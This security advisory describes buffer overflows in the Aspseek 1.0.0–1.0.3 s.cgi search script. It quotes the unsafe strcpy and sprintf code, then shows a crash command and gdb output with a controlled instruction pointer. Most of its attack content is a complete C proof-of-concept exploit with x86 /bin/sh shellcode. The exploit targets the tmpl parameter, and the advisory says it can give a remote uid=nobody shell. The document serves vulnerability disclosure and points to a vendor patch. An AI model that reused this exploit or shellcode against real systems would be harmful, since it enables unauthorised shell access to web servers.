COMMAND

    Aspseek

SYSTEMS AFFECTED

    Aspseek 1.0.0...1.0.3

PROBLEM

    Neil K. found following.   The Aspseek Search Engine is  like many
    other C/C++ compiled search engines, and uses a MySQL database  as
    its data store.

    Once compiled and  properly setup, you  are left to  copy s.cgi to
    the cgi-bin of your webserver.  This script acts as the input  and
    output  for  the  search  engine,  taking  user  defined  data and
    outputs the search results.   Unfortunately there is a problem  in
    the parsing of user defined data.

    There are multiple buffer overflow conditions in s.cgi, the  first
    being the most obvious:

    1. sc.cpp:

             int search(char *exe, char *arg) {
             ==>
                if ((env = getenv("QUERY_STRING")))
               {
                   strcpy(query_string, env);
                   ....
               }
             <==
             }

    Where  query_string   is  defined   as:  query_string[STRSIZ]    =
    query_string[4 x 1024]

    Through experimentation we found that it would take at least 10272
    chars  to  overflow  this  buffer,  therefore  making  it  useless
    remotely.  Since Apache  by default will only  take a URI of  8190
    bytes length.

    2. templates.cpp:

             int CCgiQuery::ParseCgiQuery(char* query, char* templ) {
             ==>
                  else if ((!STRNCMP(token, "tmpl="))
                  {
                       char* tmpl = token + 5;
                       char tmplu[2000];
                       sprintf(tmplu, "&tmpl=%s", tmpl);
                       ....
                  }
            <==
            }

    The above condition  is a classic  buffer overflow, we  found that
    the buffer can be overflowed  with 5148 bytes of data.   Therefore
    making this remotely exploitable.

    Example:

        [root@linux cgi-bin]# export QUERY_STRING="q=a&tmpl=`perl -e'printf("a"x5200)'`"
        [root@linux cgi-bin]# ./s.cgi
        
        Content-type: text/html
        
        <html><body>Can't open template file 'aaaaa...............'!</body></html>
        Segmentation Fault (core dumped)
        
        [root@linux cgi-bin]# gdb s.cgi core
        
        GNU gdb 5.0
        Copyright 2000 Free Software Foundation, Inc.
        GDB is free software, covered by the GNU General Public License, and you are
        welcome to change it and/or distribute copies of it under certain conditions.
        Type "show copying" to see the conditions.
        There is absolutely no warranty for GDB.  Type "show warranty" for details.
        This GDB was configured as "i386-asplinux-linux"...
        Core was generated by `./s.cgi'.
        Program terminated with signal 11, Segmentation fault.
        
        #0  0x61616161 in ?? ()

    To  demonstrate  the  problem  Neil  has  supplied a Local exploit
    which  simply  drops  s.cgi  to   a  shell.   This  condition   is
    exploitable  remotely  and  could  be  used  to  obtain  a  remote
    uid=nobody shell.

    The code:

    /*
     * Aspseek v1.0.0 - 1.0.3 -Proof of Concept eXploit-
     * Tested on Redhat 7.0, Asplinux RC3 (v1.1)
     *
     * by:  NeilK (neilk@alldas.de/neil@alldas.de)
     *	http://neilk.alldas.de
     *
     * 	Local proof of concept buffer overflow exploit for s.cgi
     *	its not suid/sgid but it can be remote :)
     *
     *	Line #1228 - templates.cpp
     *		char* tmpl = token + 5;
     *		char tmplu[2000];
     *		sprintf(tmplu, "&tmpl=%s", tmpl)
     *
     * greetz: mjm, all @alldas.de
     */
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    #define NOP 0x90
    #define BUFSIZE 5148
    #define OFFSET -200
    #define RETURNS 2
    
    unsigned char shellcode[] =
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
    "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
    
    long get_sp () { __asm__ ("mov %esp, %eax"); }
    
    int
    main (int argc, char *argv[])
    {
	    char buffer[BUFSIZE];
	    int i, offset;
	    unsigned long ret;
    
	    fprintf(stderr, "Aspseek v1.0.3 -Proof of Concept eXploit-\n");
	    fprintf(stderr, "by neilk@alldas.de/neil@alldas.de\n");
    
	    if (argc > 1)
    		    offset = atoi(argv[1]);
  	    else
    		    offset = OFFSET;
    
  	    memcpy(buffer, "q=a&tmpl=", 9);
  	    for (i = 9; i < (BUFSIZE - strlen(shellcode) - (RETURNS*4)); i++)
    		    *(buffer + i) = NOP;
    
  	    memcpy (buffer + i, shellcode, strlen(shellcode));
    
  	    ret = get_sp();
    
  	    for (i = BUFSIZE - (RETURNS*4); i < BUFSIZE; i += 4)
    		    *(long *) &buffer[i] = ret+offset;
    
  	    buffer[BUFSIZE] = '\0';
    
  	    fprintf(stderr, "[return address = %p] [offset = %d] [buffer size = %d]\n", ret + offset, offset, strlen(buffer));
    
  	    setenv("QUERY_STRING", buffer, 1);
    
  	    execl("./s.cgi", "s.cgi", NULL);
  	    exit(1);
    }

SOLUTION

    Vendor provides a patch @ aspseek.org.